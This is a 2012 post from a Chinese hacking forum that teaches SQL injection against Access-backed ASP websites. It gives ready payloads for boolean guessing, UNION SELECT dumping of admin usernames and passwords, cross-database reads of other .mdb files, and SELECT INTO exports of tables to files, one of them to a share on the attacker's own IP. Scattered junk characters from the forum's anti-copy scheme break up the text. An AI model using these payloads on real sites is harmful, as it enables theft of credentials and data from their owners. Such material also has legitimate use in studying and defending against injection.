找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1950|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------4 I5 {0 T2 [8 _3 t7 D
union查询法
1 ?9 L4 I' z% l; v: R9 w+ A0 Z首先要说的就是查询办法,一般的查询办法就是0 \5 H) K; N$ p/ d
0 F$ B, b0 v& S! p$ E, r
程序代码
1 B  I' D8 p) [9 c1 gand 1=(select count(*) from admin where left(id,1)='1')
5 D" `, E7 L5 p8 D4 T2 E! z5 }5 W. _  L* K; W6 h$ f6 {
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.
7 R3 ]& E) R0 y" E* H所以这个时候,union select横空出现.别以为只能在PHP里用哦...
$ ?7 _* N2 D; _" ~: \7 I6 D譬如你有一个ACCESS点:
! U/ _5 V$ Q$ f5 V程序代码2 f% M' I) ?0 ~& i
http://bbs.tian6.com/xiaoyang.asp?coder=1
0 v) U$ }9 S! p6 [$ j* v/ b" w/ v0 v" [, [+ ], h
知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
( z/ t" ?5 f5 r7 r: F9 C8 {然后我们直接来:( c, a' w: R9 ^7 Y
程序代码# O7 J: ~9 g9 n' Y$ v
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]
7 B$ y$ `1 w; O3 e" k, R& F4 h4 ?1 W/ k: E, y1 V5 c  S3 K
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.
1 v7 }/ W3 E5 f5 x8 C/ I: o" t, E# o" f8 U( \0 r! _5 Z" r
* ?; {2 W3 M; B- F

; U  R/ o. Z" W* U---------------------------------------------------------------, I- j3 k: u8 k9 g
Access跨库查询
& N: f3 u" F5 h- h" ~/ I有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
5 c$ H9 v- f, E$ p; }跨库的查询语句:
9 j. `( s  h& z# S- f$ O; `子查询:4 y  K( d+ F) T6 f7 d/ |
程序代码
/ K* W8 Q1 A% s7 iand (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>04 e3 i5 F) g' Z' |; r3 a" F" l6 s( `2 f

0 |; z& O. }5 O: O! T  |; \union查询:! b1 u7 |1 s. s6 c" O% L, [, B* ]
程序代码
- K) p1 F5 z7 m# ^; D4 p, k, h( yunion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
9 L1 a% Y9 U; _
, Z& K* C9 u: @跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
, Q# D; W0 R4 F" v5 p5 H3 R9 @; w) u程序代码" C6 y6 S$ Y: w3 ?% Y
http://www.4ngel.net/article/46.htm
) b/ F5 W. H1 g7 X2 y9 Y- `+ qhttp://hf110.com/Article/hack/rqsl/200502/66.html
, Z6 ?* U% e! K8 e2 K, ]
5 _7 t" U# n; J$ B$ T8 S! |---------------------------------------------------------------5 p" `9 p8 g" V, u& T, A" j: A
Access注入,导出txt,htm,html
3 x+ P) |1 l( p. g! v9 z& G" Q子查询语句:2 P& J% [, {" }
程序代码
& j% x$ {3 z+ h+ n4 _# v& u* wSelect * into [test.txt] in 'd:\web\' 'text;' from admin' C& ~4 |( K/ t: @! I% c9 \5 u
$ E5 S3 l. D/ C% Q' s
这样就把admin表的内容以test类型存进了d:\web里面.
  O! w! b! c; x( C2 {UNION查询:
! @) H( V5 V# @7 C7 k程序代码
6 |/ a& N2 r2 d5 `union select * into [admin.txt] in 'c:\' 'test;' from admin! D1 {0 c0 F! f- S

- n% b0 {" N* {6 E而且这里也可以保存到本地来:& q0 B& U: _" P$ S3 `
程序代码
! e0 p! i8 D" f0 u; d5 Q5 @. I! N2 ySelect * into [test.txt] in '\\yourip\share' 'text;' from admin
9 C) F6 \* C9 h1 J4 g. \1 Z% G; S) p4 f7 m+ @4 M
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:9 n! [5 V0 ^+ E7 r; P! P
7 h/ h- M8 C3 _
程序代码
6 e9 H/ ^  x" z" E8 ?0 c5 W2 Phttp://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
( G$ R4 f. O# I1 @2 e+ t5 u( a! ?8 i: R. W* x6 |0 L3 @, y
因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.7 }) ]" W) A/ g( C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表